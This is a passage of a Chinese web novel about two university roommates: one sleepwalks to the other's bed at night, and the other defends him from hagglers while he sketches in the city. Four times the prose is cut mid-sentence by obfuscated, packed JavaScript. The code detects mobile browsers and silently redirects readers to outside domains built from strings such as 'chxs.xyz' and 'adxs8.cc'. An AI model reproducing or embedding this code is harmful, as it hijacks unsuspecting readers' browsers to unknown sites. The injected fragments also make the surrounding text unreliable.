这件衣服略眼熟,昨天谢时泽好像就是穿着这件衣服去接他的。 谢时泽的衣服怎么会在他的床上。 沈知浔怀疑自己还没睡醒,他上次有这种一头雾水的茫然感时,是第一次在以前的宿舍梦游被发现,第二天舍友们打量他的奇怪目光,让他茫然又无措。 沈知浔捂着脸,心里渐渐有了个猜测,衣服总不能自己长腿跑到他床上,难道是昨天太关心自己有没有梦游,当晚就“如自己所愿”了? 沈知浔有点头疼,坐在床上盯着这件熟悉的衣服看了几秒,才有点崩溃地想,他昨晚到底做了什么,为什么谢时泽的衣服会在他床上? 再怎么努力也想不出来,沈知浔缓缓从胸腔里呼出口气,拉开床帘起身。 清晨的宿舍很安静,周末的早晨,难得没有课,向晓和张康年都在睡觉,他下了床就看到在卫生间洗漱的谢时泽。 沈知浔看到谢时泽,张了张口,感觉有千言万语想说,又不知道发生了什么。 谢时泽态度坦然地跟他打招呼 :“起这么早?” 沈知浔思路被带着跑了一瞬,点头 :“嗯,今天有事。” 谢时泽讶异地挑眉,声音压得很低,怕吵到别人 :“这么巧,我今天也有事。” 不等沈知浔问就玩笑道 :“得回家一趟,又到了每两个星期讨人嫌的时候了。” 沈知浔抿了抿唇角,见谢时泽迟迟没有把话题带到他床上多出来的衣服上面,忍不住出声 :“我昨晚……是不是又梦游了?” 谢时泽嗯了一声肯定了他的猜测。 沈知浔不自觉的攥紧手指,心脏都悬在半空,脑海里一时间想了很多,又像是什么都没想 :“我昨晚有没有做什么?……你的衣服怎么会在我床上?” 谢时泽随意用毛巾擦干净脸,从卫生间走出来,身上还带着一股清爽的味道,毫无破绽的解释道 :“你昨晚呆呆的站在床边,不说话也不动,只穿着一件睡衣,我担心你感冒,就把衣服披到你身上了。” 谢时泽补充了一句 :“放心,向晓和张康年那时候还没回来,不用担心吓到他们。” 沈知浔悬在半空的心落下了一点,又问 :“就这样,没有做别的了?” “你有没有拍照?有的话,我可以看看吗?” 谢时泽盯着他看了两秒,沈知浔脸上的表情看似镇定,视线却格外专注,没有太多血色的嘴唇也抿在了一起,无一不彰显着他紧张的心情,他弯了弯眼睛 :“没做别的。” “照片我忘记拍了,下次吧,下次如果我再撞见,一定给你拍。” 沈知浔再次得到肯定的答案,松了口气,悬在半空的心彻底放下了,表情认真地跟谢时泽说 :“谢谢。” 谢时泽随和地笑了笑 :“不用。” 沈知浔站在卫生间洗漱,看着镜子里的自己,他对谢时泽的话深信不疑,以前见过他梦游的舍友也说半夜起来看到他站在床头,不动也不说话。 他会做出什么“危险”的行为都是前舍友的猜测,事实上在搬离上一个宿舍之前,沈知浔梦游都只影响了自己的睡眠质量,没有做出过别的行为。 所以现在的情况应该也和上一个宿舍差不多。 沈知浔没想那么多,洗漱过后,简单的吃了早餐就背着画板和一叠画纸出门了。 沈知浔偶尔会出去采风。 他感觉最近好像遇到了瓶颈,教授说他的画更生动了,可他却觉得自己的专注力下降,画一幅画的进度也变慢了。 他猜不透这种变化的原因,也不知道是好是坏。 和很多美术生喜欢去风景优美、人迹罕至的地方采风不同,沈知浔喜欢去热闹嘈杂的地方采风。 他的画多少有些缺乏艺术性,不是孤高圣洁的,更接地气,他喜欢画热闹嘈杂中捕捉到的那一瞬间的静态。 今天天气一如既往的阴沉,沈知浔惯例穿的很厚,戴了毛巾和口罩,捂得严严实实,乘坐地铁到市区。 即便天气不怎么样,周末的市区还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057229|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很热闹,沈知浔找了个偏僻方便观察的角落支撑起简易画架。 市区的高楼大厦、人流如织、车辆一辆接着一辆,大楼后面的广告牌在循环播放着内容,周围从他身边走过的各色人群,种种都像一帧帧画面在他脑海里定格,然后变成笔下流畅的线条。 沈知浔摒弃杂念,沉浸在面前的画板上,他画的专注,没注意到不知不觉他身旁竟然围了一小撮人在围观他画画。 等他画完一副速写抬头,才发现周围围着的人。 围观的都是路人,看到有人在这儿画画多看了一眼,这一看就有些迈不开脚步了。 见他停下画笔,七嘴八舌地问 :“画得好好,小同学你是在这儿给人画画的吗?” “一张多少钱?” “你是专业学画的?报的什么培训班?” 沈知浔不适应一瞬就强迫自己冷静,他偶尔出来采风也会被人误会是在街头给人画画的,他没有艺术家的清高,碰到了就赚一点,朝着问价的人看过去 :“一张一百五。” 问话的是一个中年男人,皱起了眉,怀疑地上下打量着把自己捂得严严实实的沈知浔 :“一张一百五,就这么用画几笔,这钱也太好赚了吧?” “你画纸上那么多人都画得这么快,我们两三个人画一幅,随便搞点背景,估计几分钟就画好了,五十一张吧,这么多人,你都能挣不少了。” 围观的人里也有人附和。 沈知浔画板上的那张画极其精细,路过说笑的人群、过红绿灯的行人、车流,高楼大厦上的屏幕画面都被一一细化,一副热闹市区的景象跃然纸上,整幅画面都透着一股生动形象的勃勃生机。 而画他们没那么复杂,三三两两结伴画一幅,五十就差不多了。 沈知浔静静地听着,没说话,忽然想起教授曾经和他说过的话。 他说,艺术是具有争议性的,无论你画的好与不好,每个人的看法都不同,就算是专业的人也会从不同的角度挑刺。 艺术是主观性的。所以,也没必要,为此生气。 … 谢时泽也在市区,他家就在附近,刚回家不久,屁股都没有坐热,就被赶出来陪表妹逛街。 原因是表妹在学校跟好朋友吹牛她表哥长得特别帅,校草级别的,导致别个小姑娘要亲眼来看看这个校草是不是货真价实的。 谢时泽听完理由都气笑了,但为了不让小姑娘在朋友面前没面子还是出来了,只是忍不住教育她 :“做人别那么攀比,有个什么东西都要拿给别人看。还有,你有没有考虑过我是个大活人?” 小姑娘连个眼神都没有给他,左右张望找朋友在哪儿,视线忽然落到一处,疑惑 :“那里怎么聚着这么多人?” 她个子矮看不见,谢时泽却可以轻而易举看见里面的情况,随口说 :“有人在那儿画画。” 被围绕在人群中间的人侧过身,谢时泽漫不经心的视线一凝,脚步一顿朝着被围绕的人群走了过去。 他站在人群外围,眸光落在沈知浔身上,他戴了口罩,看不见脸上的表情,听了周围人的话。 谢时泽看向搭腔的人,笑眯眯地 :“都多大的人了,就这么硬欺负人啊?” 16.第十六章 围观的人群听到声音,转头寻找声音的来源,见到是一个年轻帅气的男生。 最先说话的中年男人皱着眉,打量着突然冒出来的谢时泽 :“你什么意思?” 谢时泽看都没看他,他往里面走,人群自动让出一条道,走到人群中午,一脸认真的端详着沈知浔画板上的画,目光似笑非笑地望向周围的人群 :“五十也真喊的出口,这幅画起码值好几千。” 谢时泽的话音落下,人群中最先砍价的几人中就有人惊呼 :“怎么可能?” “一副速写怎么可能值这么多钱。” 谢时泽看着说话那人,微微挑眉 :“怎么不可能,很多艺术品都能卖出天价,更何况这幅画在座有眼睛的人都能看出画的很好,比那些不知所云的画好多了。” 谢时泽又转过身看着沈知浔,脸上恰到好处的露出点询问 :“同学,看你还在读书的样子,能不能问一下你在哪里读大学?” “……” 沈知浔沉默了一秒,看着谢时泽卖力表演的样子,配合说 :“燕大。” 谢时泽惊讶地扬眉,围观人群也露出诧异的表情,看着沈知浔小声议论了起来。 谢时泽一脸向往地说 :“竟然是燕大,这是名牌大学啊。” “我成绩不好,我妈从小就做梦我能上燕大,听说能考上燕大的都是万里挑一的学霸,不知道有多厉害。” 围观人群中逐渐响起附和声 :“燕大,这可是高材生。” “我家有个亲戚,从小成绩就数一数二,想考燕大都没考上……” 谢时泽嘴角翘起,继续道 :“现在这年头,燕大的学生出去做家教一个小时怎么也能挣几百块吧,这种能拿来参赛水平的画,竟然只想给五十。” “总不能仗着这位小同学人好心善就连脸都不要了吧?” 谢时泽这一通夹枪带棒的,最开始讲价的那几个人面色讪讪,围观的其他人也忍不住出声 : “画得确实是好啊,街头画一幅大头像都要一百了。” “这名牌大学出来的就是不一样……” 风向轻而易举就变了,还有人问沈知浔 :“一百五是吗?我要画一幅,可以帮我们画一幅吗?” 沈知浔摇头,他本来就是出来采风的,不是专门在街头给人画画的,他收拾着画架,准备离开。 见状,想找沈知浔画画的人都忍不住埋怨起了最开始看着沈知浔年轻想压价的人 :“不想画就走啊,我们还想画呢。” “五十块钱就想买一幅画,怎么想的这么美,现在好了,人家不画了吧……” 沈知浔没有留下听其他人的埋怨,他背上画板离开,谢时泽悄悄从人群中退出去,朝着沈知浔离开的方向走过去,走到拐角处,果不其然看到人站在那里等他。 他嘴角上扬,小跑过去,看着沈知浔捂得严严实实,只露出一双眼睛的样子,眼睛弯起一瞬。 怕他在意刚才的事,谢时泽抬手揉了揉他脑袋 :“你画的很好,是他们看你年轻想压价,如果你画的不好,就不会有那么多人围着不肯走了。” 沈知浔被他揉了脑袋,看着映入眼帘的一张笑脸,心里那点微不可察的烦闷似乎也消失了,点了点头 :“我知道。” 就算是享誉世界的画家,把他们的画放到街头和放在卢浮宫,给不知情的人评价,可能都会收获到不同的评价。 他看着站在他面前的谢时泽还是有点不可思议 :“你怎么会在这里?” 谢时泽笑笑 :“我家就在附近。” 他说着像是想起了什么,轻轻“嘶”了一声。沈知浔看到他拿出手机,想拨号,还没播出去一个电话就打了过来。 谢时泽啧了一声,接起电话,说了两句,让对方过来找他就挂断了电话。 他背着画具,采风的计划被打断,但沈知浔好不容易出来一趟,还不准备回去,见谢时泽有事,便打算跟他告别,找个偏僻的地方继续画画。 他在心里斟酌着措辞,还没说出口,思绪就被谢时泽打断 :“喝奶茶吗?附近有一家奶茶店还不错。” “……” 谢时泽见沈知浔脸上露出迟疑的表情,体贴地问 :“你还有事吗?” 沈知浔对上谢时泽看过来的眼睛,停顿了一秒 :“我想去采风。” “这样啊。” 谢时泽应了一声,露出思索的表情,接着他目光朝周围看了看,待看到其中一处时,转过头飞快跟沈知浔说 :“你在这儿等我一会儿,我马上回来。” 沈知浔不明所以,看着谢时泽朝着侧前方走过去,迎面走过来两个女生,三人站在一起说了几句话,谢时泽就转身朝着这边走过来了。 沈知浔等人走到他面前,疑惑地看着他。 他看得出来,谢时泽应该是有事的,跟那两个女生也是一起的。 他想到这儿,朝那两个女生的方向看了过去,两人还没走,手牵手看着这边说话,不知道说了什么有意思的内容,还交换眼神笑了起来。 沈知浔收回视线,重新落在谢时泽身上,犹豫了半秒 :“谢时泽,那两个女生是你的朋友吗?” 谢时泽回头看了眼凑在一起嘻嘻哈哈的两个小姑娘,摇头 :“不是,是我表妹和她同学。” “哦。”沈知浔慢吞吞地问 :“那你不跟她们一起吗?” 谢时泽 :“跟两个小姑娘有什么好逛的。”他自嘲的指着自己 :“我就是个工具人。” 沈知浔听不懂这句话的含义,谢时泽也就是随口抱怨了一句,自然地去牵他的手 :“不是说要去采风吗?刚才的地方是不能去了,是不是得选个风景好的地方?” 沈知浔被他牵着,手指下意识地握紧了谢时泽温暖的手,跟着他走了两步才反应过来 :“你要陪我一起去?” “嗯。”谢时泽回头冲他扬起嘴角,玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061975|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑似地说 :“万一又遇到刚才的情况怎么办?” “你是未来的大画家,不屑跟别人争辩,没关系。但是也不能让无关紧要的人打扰你画画的灵感。” 沈知浔有些不知道该说什么了。 “得偏僻点是吗?”谢时泽示意远处一个偏僻的角落 :“那里行吗?” 沈知浔下意识朝他说的地方看了眼 :“可以的。” 点完头,他望着谢时泽 :“这样不耽误你的时间吗?” 他想说他一个人可以的,但内心深处又不是很想辜负这份好意。 落在谢时泽眼里就是沈知浔脸上浮现出了纠结的神色,像是在说服自己不要麻烦别人,又没办法强硬的拒绝,他善解人意道 :“不麻烦。” “我闲着也没事,打两把游戏的事。” 谢时泽牵着沈知浔去了他物色好的风水宝地,周围有台阶,他也不嫌弃,在沈知浔摆好简易画架后,就找了块干净点的地方坐下了。 他看着沈知浔观察了一会儿周围的人事物,就慢慢在笔下勾勒出他看到的景象。 行走的人群、路过的车辆,这些在谢时泽眼里千篇一律的风景,在沈知浔笔下好像更加生动了,他微微偏头凝望着沈知浔,看得有点入神。 画画时的沈知浔和平时不太一样,更加沉静内敛,身上好像被一层无形的光环笼罩。 是无关乎容貌,从他笔下的世界,从自身散发出来的。 谢时泽不知不觉就看了一会儿,等他回过神,天空都比之前暗了些,沈知浔已经快画好一幅画了,他左右看了看,起身朝着一个地方走去。 沈知浔心无旁骛的画好一幅画,还算满意,活动了一下身体,转身寻找谢时泽的身影,没在他坐的台阶前看到他,往周围看了一圈。 谢时泽手里提着两杯奶茶朝他走过来。 沈知浔画的太专心,都不知道他什么时候去买奶茶了,见他疑惑地看过来,谢时泽解释 :“这家奶茶学校附近没有。” “不知道你喜欢喝什么,给你选的它们家的招牌。” 沈知浔接过 :“谢谢。” 温热的奶茶,手指接触到一下就感染到了这股暖意,他情不自禁的握的更紧了一点。 谢时泽 :“还要画画吗?” 沈知浔摇头,天色看上去不早了,学校距离市区有一段距离 :“不画了,天色看着很晚了。” 他想到谢时泽家就在附近,不会跟他一起回去,忍不住问道 :“谢时泽,你明天回来吗?” 谢时泽 :“后天早上没课,大概后天回吧。” 沈知浔轻轻哦了一声,收拾好画具,跟他道别 :“那我先回去了,学校见。” “嗯。” 谢时泽冲他挥手,沈知浔往前走了两步,突然听到身后毫不掩饰夸赞的声音响起 :“沈知浔,你是我见过画画,画得最好的人。” “学校见。” 17.第十七章 沈知浔从学习画画以后就被很多人夸过有天赋,但没有人像谢时泽这样。 他不明白有哪里不同,坐着地铁回去的路上,看着影子倒映在玻璃上还在思考这让人捉摸不透的区别。 回到宿舍时天色已经彻底暗了下来,向晓和张康年在宿舍,跟他们打了个招呼,把画板和画具取下来放好。 简单的收拾好,沈知浔望着桌上的奶茶,经过这一路的时间,奶茶已经不怎么热了。 沈知浔一直觉得临走时送对方一件礼物其实是件很能拉近距离的事。 无关乎这件礼物的大小、珍贵程度,一杯奶茶、一颗糖,或者别的。 却会在人和人分开后,望着留在手里的礼物,情不自禁地想到送自己这份礼物的人。 “隔壁宿舍有人回家了,谢哥也不在,打游戏都没人带。” 宿舍里忽然响起向晓的抱怨声。 沈知浔回神,转头看着向晓。 向晓躺在床上玩手机,他哀嚎了一句就继续刷视频了,感受到视线,从屏幕里抬头就对上沈知浔的目光,“啊”了一声 :“沈知浔,有什么事吗?” 问完狐疑地在心里想,他最近可是前所未有的爱干净,应该没有碍这位高岭之花的眼吧? 沈知浔只是听到谢时泽的名字,下意识望过去罢了,像触发了关键词,被人一脸疑惑的盯着,他在心里想了想,还真想出一个问题 :“向晓,谢时泽……他有女朋友吗?” 问完这个问题,沈知浔自己都觉得奇怪,他怎么会好奇这种事。 关心舍友的感情生活,这在沈知浔过往的生活里是从未有过的事情。 是因为今天看到谢时泽和女生走在一起,所以才会衍生出这种好奇吗? 沈知浔自觉想通了突然冒出来的好奇的原因,向晓听到沈知浔的话已经从床上坐起来了,惊讶地重复了一遍他的问题 :“谢哥有没有女朋友?” 张康年也从屏幕里抬起头,跟着看过来。 他们惊讶的原因在沈知浔看着这么不食人间烟火的高岭之花竟然也有八卦的一面。 向晓感觉八卦的沈知浔更接地气了,笑嘻嘻地摇头 :“没有。” 向晓挤眉弄眼的 :“是不是很神奇,但我们也住在一起这么久了,还真没见过他交女朋友。” 张康年也插了句嘴,附和道 :“可能眼光高吧,毕竟是校草,挑剔一点也合理。” 向晓不知想到什么“嘿嘿”地笑了声 :“我要是长成谢哥那样,我肯定早就找到女朋友了,啧。” 想到加他微信时不时跟他打听的女孩儿们,向晓一脸惋惜 :“咱不说当个渣男,好歹也要发挥优势啊,好好谈个恋爱什么的,谢哥倒好,感觉他脑子里就没恋爱那根弦。” 沈知浔的话激起了向晓和张康年的吐槽欲望,四人宿舍,三个人都在,只有谢时泽不在,理所当然的成了被吐槽的对象。 沈知浔被迫听了一耳朵谢时泽的“直男”事例,包括但不限于出去吃饭有女生来要微信,以为对方是来抢位置,提醒人家注意先来后到等等。 沈知浔默默听着,待向晓和张康年吐槽累了,他才收拾东西去卫生间洗漱。 晚上沈知浔一如既往的睡得很早,除了天气冷躺在床上会暖和很多,他睡眠质量也不算好,加上还要上课,就习惯早睡,能多睡回来一点是一点。 向晓和张康年则是两个夜猫子,隔壁宿舍人都聚不齐,他们无处可去,百无聊赖的躺在床上玩手机,看到好玩的段子互相分享一下。 时间接近凌晨,两人才慢慢酝酿出睡意,张康年突然想去卫生间。 宿舍已经熄灯了,他打着手机手电筒的光,下床往卫生间走,上完厕所回来,手电筒的光照亮了三分之一的宿舍。 张康年注意到沈知浔的床铺那里传来了细微的动静,他以为沈知浔要起夜,也没在意,继续往自己的床铺走。 看到沈知浔突然从床上爬起来,站在床边,张康年自觉今晚跟对方聊了谢时泽的八卦,拉近了点距离,招呼了他一声 :“上厕所啊?” 没得到回应。 张康年挠了挠头,狐疑的在心里嘀咕了一句,也没在意,等他走回自己的床位,回头一看,沈知浔还站在自己的床边。 似乎从始至终就没动过。 张康年带着点疑惑的把手电筒的光对准沈知浔的方向,他看着和平时的样子差别很大,整个人呆呆的,视线望着虚空。 张康年脑袋里立马有了个猜测,这是……在梦游? 张康年观察着沈知浔,见他先是站在自己的床边,视线毫无焦距的站了一会儿。 接着,他的表情变得灵动了一点,但在张康年眼里这点微不可察的灵动也只是让他看上去不那么呆板。 随后,他径直朝着谢时泽的床位走了过去。 张康年眉心一跳,握着手机犹豫要不要把这事告诉谢时泽,又见沈知浔走到谢时泽的床位前就站定不动了。 迟钝、困惑、茫然。 张康年也不知道自己是怎么从一道背影里看出这么多的。 他见沈知浔像是扎根似的站在谢时泽床前,想了想还是拿着手机给谢时泽发去一条消息 :[沈知浔晚上会梦游你知道吗?站在你床前一动不动的。] 他以为都这个点了,谢时泽可能已经睡了,没想到消息才发过去不到一分钟就被回复了。 谢时泽 :[沈知浔今天晚上梦游了?] 张康年敏锐的捕捉到了他话语里透露出来的讯息 :[今天晚上?他之前也梦游过吗?] 谢时泽 :[嗯。手机上说不清楚,等我回来跟你们说吧。] 张康年以为他说的回来,是指明天或后天返校,回复了一句“好”。 对床的向晓收起手机,准备睡觉,注意到张康年的手电筒光,忍不住 :“大晚上的,你把手电筒开着照鬼啊?” 向晓说完余光不经意看到谢时泽床铺前站着的身影,一个激灵从床上坐起来 :“我去!” 幸好有张康年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065448|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手电筒光,认出了是沈知浔,要不然真给向晓吓得够呛。 他惊魂不定的看着沈知浔站在谢时泽的床铺前,即便他的声音都惊得劈叉了,都不能吸引沈知浔投过来一丝一毫的关注。 向晓抚摸着小心脏,转头压低声音问张康年 :“他这是……?” 张康年 :“梦游,听说过没。” 向晓点点头,多看了沈知浔两眼,还是第一次在现实生活中看见。 看着沈知浔完全屏蔽了外界的声音,执着地站在谢时泽床铺前的动作,打了个哈欠,向晓有点困倦地问 :“那咱们就这么看着他站在谢哥床前吗?” 张康年也搞不懂沈知浔为什么要站在谢时泽床前 :“不然呢?你没听说过梦游时不能把人叫醒吗?我问问吧。” 张康年又给谢时泽发了消息,问他沈知浔站着一动不动怎么办,谢时泽的回复言简意赅 :[不用管,等我回来。] 张康年 :[???] 张康年 :[你从家里回来了?] 谢时泽 :[打了辆车,要不了多长时间。你们睡吧,沈知浔梦游不会做什么,到时间了自己会回去睡觉。] 张康年放下心,跟向晓复述了一遍,向晓本就睡意朦胧,见沈知浔站着不动,也没什么需要注意的,便慢慢有了困意,没多久就睡了过去。 张康年多坚持了十几分钟,在手机上问了一点关于沈知浔梦游的事情,也跟着睡了过去。 宿舍嘈杂没多久又重归寂静,但这一切都像是与沈知浔无关,他安静地站在谢时泽的床前,没什么表情地盯着空荡荡的床铺。 安静、存在感几近于无,如果不是特地去关注他,可能都不会注意到梦游这点异常。 谢时泽匆匆赶回来,幸好宿管还没有睡熟,进门后赶紧上楼,一路走到宿舍门口打开门。 朦胧的夜色下,他看见沈知浔安静的站在他的床铺前,有一瞬间谢时泽恍若从他的背影中看到了落寞感。 这种感觉就像两个一直在一起玩的小伙伴,突然有一天其中一个因为点什么事没有出现,只留下他一个人孤零零的在约定地点等的落寞。 谢时泽悄声关上门,他的动静几乎没有声音,但站在他床边的人慢慢转过了头,像被惊扰到了一样。 谢时泽看到沈知浔在看到他的那一刻,眼里多出一点意义不明的神采,很难察觉又真切存在着,谢时泽想也不想上前几步,伸手抱住了他。 像是设定好的程序,在宿舍一直安安静静的沈知浔,在看到谢时泽的那一刻突然有了神采,习以为常的投进了他的怀抱。 这个怀抱并不像往常一样温暖,带着股风尘仆仆的味道,夜间的霜似乎也凝结在了谢时泽的外套上。 谢时泽能感觉到两人拥抱在一起短时间内还不能散发出温暖。 他一只手环着沈知浔的腰,另一只手掀开了自己的衣服外套,动作弧度太大,露出了一片温暖紧致的腹部肌肤,示意沈知浔 : “你可以往这儿取暖。” 18.第十八章 安静的宿舍,也不知道沈知浔听见这句话没有,他只是顿了顿,然后手自然的往谢时泽掀起的衣服里钻。 理所当然的,仿佛谢时泽就是一个专属的暖宝宝,可以任他肆意妄为。 谢时泽不知道沈知浔会不会觉得冷,大半夜赶回来,身上还带着凛冽的寒意,沈知浔身上也没有多少暖意。 谢时泽也不确定沈知浔在宿舍站了这么久会不会感冒,嗓音都带着不确定 :“你明天起来会感冒吗?” 问完谢时泽自己都想笑了,先不说沈知浔在梦游根本不可能回答他,就算他是清醒的,明天的事谁又说得准呢。 他看着黑暗中抱着他的沈知浔,突然想起来明天沈知浔肯定会知道他又梦游了的事,轻轻“啧”了一声,单手环住沈知浔的腰,从口袋里拿出手机。 调到夜间模式,对着自己和沈知浔拍了一张。 谢时泽拍好一张,没怎么注意拍成什么样,拍照的声音让沈知浔微微抬起头。 谢时泽轻轻拍了拍他的肩膀,示意他该回去睡觉了 :“你今天在外面待的够久了。” 从收到张康年的消息,到谢时泽赶回来,接近一个小时了,远远超过了沈知浔平时梦游的时间。 他以为沈知浔会像上次那样纠结不舍,可他缩在谢时泽怀里,微微仰头看着他,黑暗中看不清他脸上的表情,只能看到朦胧的轮廓。 谢时泽垂眼跟他对视,一秒、两秒,隔着黑暗这层朦胧的纱,静静的对视了片刻,沈知浔松开了抱着他的手。 转身往自己的床位走。 谢时泽看着沈知浔走到床边坐下,脱鞋上床,拉紧床帘,完全没有上次梦游时的纠结感。 仿若他特地等到现在还没有回去睡觉,就是为了抱谢时泽一下。 - 隔天是周末,沈知浔难得没有设闹钟,一觉睡到自然醒。 刚睁眼沈知浔就感觉有点睡眠不足,缓了缓才起床穿上衣服。 他今天起得晚了点,张康年和向晓都已经起了,沈知浔对上他们看过来的视线,微微颔首,算是打招呼了。 他精神不济,也就没有注意向晓和张康年看他的眼神里多了点平时没有的迟疑。 沈知浔脚步轻飘飘的,走到谢时泽床位的时候,他下意识看了一眼。 谢时泽的床铺有点乱,看起来像主人刚起床还没来得及收拾。 沈知浔脚步一顿,迷蒙的眼睛都微微睁大了一点,恰好谢时泽从卫生间出来,看到他,懒洋洋地打了个招呼 :“早上好。” “早上好。” 沈知浔下意识地回了一句,反应过来,毫不掩饰自己的惊讶,微微睁大眼睛 :“你…你不是要明天早上才回来吗?” 他怀疑自己眼花了,可是看向晓和张康年也没有半分诧异的样子。 谢时泽有点困倦的样子,语气随意 :“临时有事就回来了。” 沈知浔迟钝的哦了一声,他现在脑细胞不太够,也没把谢时泽说的临时有事联想到他身上,打了招呼就往卫生间走。 卫生间的门关上,向晓从床上爬起来,跟张康年交换了一个眼神,然后两人齐刷刷看向谢时泽。 眼里的含义很明显“要不要现在说?”。 谢时泽懒洋洋的走到了床铺前,不疾不徐地晃了晃手机 :“先吃饭。” 张康年点头,他们也还没吃早饭,看着谢时泽拿着手机点外卖。 谢时泽点的学校附近的早餐店,外卖送过来的很快。 周末大家都没什么事,按照往常,向晓和张康年能在宿舍的床上躺一天,但今天不同,两人吃完饭,看着沈知浔吃了早餐后似乎多了一点血色的脸,犹犹豫豫地开口 :“沈知浔,昨天晚上……” 沈知浔抬眼看过来,像是捕捉到了什么关键词,又或者是两人犹豫斟酌的样子,让他明白了什么。 他的嗓音轻轻的 :“我梦游了是吗?” 话说出口,观察着向晓和张康年的脸色,还有谢时泽的反应,沈知浔立刻明白了,他昨晚当着大家的面梦游了。 沈知浔从胸腔里轻轻呼出口气,一鼓作气地坦白道 :“我晚上会梦游,没有规律,我也不知道哪天会梦游。抱歉,没告诉你们这件事,如果你们担心我会给你们造成困扰,我可以搬……” “不是…!”向晓眼看着沈知浔越说越远,连忙打断他 :“你没有给我们造成困扰,准确来说,你梦游也没做什么,就是站在谢哥床前发呆……” 张康年点头,表情看上去像经过了深思熟虑 :“梦游这事虽然一直都听说过,没在现实生活中见过,但也不是那么不能接受。” “对啊,我们俩还经常半夜才回来,打游戏又吵又闹,你不也没说什么吗?”向晓说 :“大家既然有缘住在一个宿舍,就互相包容些,没多大事。” 沈知浔没想到他们会这么快接受,眼里有什么一闪而过,刚要说什么,旁边的谢时泽突然摸了摸鼻子 :“有件事我也要跟你们坦白。” “?” 谢时泽 :“我早就知道沈知浔会梦游了,前阵子你们怀疑宿舍有老鼠,其实有可能是他在梦游,但我觉得向晓作风不太好,就没把这件事说出来,抱歉。” 向晓 :“???” 他一脸崩溃,比知道沈知浔梦游这件事带给他的震惊还要大,手指指着谢时泽,一副心痛到无法呼吸的样子 :“谢哥,这事你不给我带半个月的饭、帮我打游戏、把你的新款游戏机借给我……这事就过不去。” 谢时泽轻轻啧了一声,一脸“人果然不能做坏事”的表情 :“行吧。” 沈知浔看着他们闹,抿了抿唇,还是没忍住弯起一点唇角,刚才在心里酝酿出的破釜沉舟的气势一下就散了。 向晓和张康年很丝滑的接受了沈知浔会梦游这件事,沈知浔内心松了口气的同时,思维也更活络了。 想到向晓说的他站在谢时泽床前,再一想谢时泽半夜赶回来,沈知浔总感觉这里面还有自己不知道的事,他偏头望着谢时泽。 谢时泽转眸就对上沈知浔那双黑白分明的眼睛,他轻轻啧了一声。 沈知浔 :“能聊聊吗?” 谢时泽嗯了一声。 沈知浔率先起身往宿舍外走,谢时泽垂着脑袋跟在身后。 向晓看着两人从他眼皮子底下出去,手肘碰了碰张康年 :“你有没有觉得他们两个的关系突然变好了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069142|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张康年玩着手机 :“这不是明摆着的事实吗?” 向晓一脸疑惑 :“可是为什么啊?都在一个宿舍,他们俩什么时候偷偷好上的,我竟然一点都不知道?” 张康年 :“你管呢,沈知浔不那么高冷,能跟我们玩到一块儿不是挺好的么。” 向晓抓狂 :“你就没有一点求知欲吗?” “兄弟,知道小明的爷爷为什么活一百岁吗?”不等向晓说话,张康年就慢悠悠地 :“因为他从来不多管闲事。” 向晓 :“……” 就无语! - 宿舍走廊没人,沈知浔走到走廊的尽头,转身看着谢时泽,声音很轻 :“你昨晚回来是因为我,是吗?” 谢时泽嗯了一声,摸了摸鼻梁 :“是因为听到你梦游才会回来,不过我本来就打算今天早上回来的,在家也是被嫌弃,还不如回学校呢。” 他笑着跟沈知浔吐槽,表情很轻松,沈知浔的心却难以轻松起来。他只觉得心脏在不断往下陷落,表情带着一丝困惑地望着他。 “向晓说我梦游时站在你的床前,我梦游时是不是还会做别的?” 在上一个宿舍,孟良他们也没有说沈知浔梦游会站在谁的床边。 可只是单纯的梦游,到时间就会回去睡觉,谢时泽为什么会连夜赶过来? “这次你拍照片了吗?”沈知浔又问。 “拍了。” 谢时泽拿出手机,从手机相册里找出昨晚拍的照片,递给了沈知浔。 